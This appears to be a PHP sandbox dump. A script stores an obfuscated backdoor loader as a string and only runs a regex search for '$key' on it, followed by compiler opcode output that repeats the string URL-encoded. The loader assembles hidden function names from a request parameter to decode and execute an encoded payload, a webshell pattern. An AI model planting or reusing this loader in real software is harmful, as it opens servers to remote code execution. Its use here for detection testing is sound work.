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<?php $content = ' $key = $_GET["a"]; $fb010 = $key[9].$key[15].$key[5].$key[0].$key[8].$key[10].$key[7].$key[17].$key[0].$key[6].$key[2].$key[17].$key[0]; $f3055 = $key[11].$key[1].$key[12].$key[3].$key[19].$key[4].$key[15].$key[20].$key[0]; $fef6c = $key[13].$key[15].$key[18].$key[16].$key[13].$key[4].$key[17].$key[0].$key[6].$key[2].$key[17].$key[0]; $fb5d6 = $key[6].$key[2].$key[3].$key[14].$key[0].$key[13].$key[20].$key[7].$key[16].$key[16].$key[17].$key[0].$key[6].$key[2].$key[17].$key[0]; $f33f1 = $key[0].$key[14].$key[15].$key[4]; $f33f1($fb5d6($fef6c($f3055($fb010("M7U00/VQNXYKUjUzcDdSNTIz9QHygLSqqbOqiYFJmGmQZZhppKqRhZGqsbOqqZOqgSNQKZAEAA=="))))); '; function f($c) { preg_match("|\$key|mis", $c, $m); var_export($m); } f($content);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/KjrdJ
function name:  (null)
number of ops:  5
compiled vars:  !0 = $content
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, '%0A%24key+%3D+%24_GET%5B%22a%22%5D%3B%0A%24fb010+%3D+%24key%5B9%5D.%24key%5B15%5D.%24key%5B5%5D.%24key%5B0%5D.%24key%5B8%5D.%24key%5B10%5D.%24key%5B7%5D.%24key%5B17%5D.%24key%5B0%5D.%24key%5B6%5D.%24key%5B2%5D.%24key%5B17%5D.%24key%5B0%5D%3B%0A%24f3055+%3D+%24key%5B11%5D.%24key%5B1%5D.%24key%5B12%5D.%24key%5B3%5D.%24key%5B19%5D.%24key%5B4%5D.%24key%5B15%5D.%24key%5B20%5D.%24key%5B0%5D%3B%0A%24fef6c+%3D+%24key%5B13%5D.%24key%5B15%5D.%24key%5B18%5D.%24key%5B16%5D.%24key%5B13%5D.%24key%5B4%5D.%24key%5B17%5D.%24key%5B0%5D.%24key%5B6%5D.%24key%5B2%5D.%24key%5B17%5D.%24key%5B0%5D%3B%0A%24fb5d6+%3D+%24key%5B6%5D.%24key%5B2%5D.%24key%5B3%5D.%24key%5B14%5D.%24key%5B0%5D.%24key%5B13%5D.%24key%5B20%5D.%24key%5B7%5D.%24key%5B16%5D.%24key%5B16%5D.%24key%5B17%5D.%24key%5B0%5D.%24key%5B6%5D.%24key%5B2%5D.%24key%5B17%5D.%24key%5B0%5D%3B%0A%24f33f1+%3D+%24key%5B0%5D.%24key%5B14%5D.%24key%5B15%5D.%24key%5B4%5D%3B%0A%24f33f1%28%24fb5d6%28%24fef6c%28%24f3055%28%24fb010%28%22M7U00%2FVQNXYKUjUzcDdSNTIz9QHygLSqqbOqiYFJmGmQZZhppKqRhZGqsbOqqZOqgSNQKZAEAA%3D%3D%22%29%29%29%29%29%3B%0A'
   19     1        INIT_FCALL                                               'f'
          2        SEND_VAR                                                 !0
          3        DO_FCALL                                      0          
          4      > RETURN                                                   1

Function f:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/KjrdJ
function name:  f
number of ops:  10
compiled vars:  !0 = $c, !1 = $m
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   12     0  E >   RECV                                             !0      
   14     1        INIT_FCALL                                               'preg_match'
          2        SEND_VAL                                                 '%7C%24key%7Cmis'
          3        SEND_VAR                                                 !0
          4        SEND_REF                                                 !1
          5        DO_ICALL                                                 
   16     6        INIT_FCALL                                               'var_export'
          7        SEND_VAR                                                 !1
          8        DO_ICALL                                                 
   17     9      > RETURN                                                   null

End of function f

Generated using Vulcan Logic Dumper, using php 8.0.0

preferences:
155.61 ms | 1403 KiB | 18 Q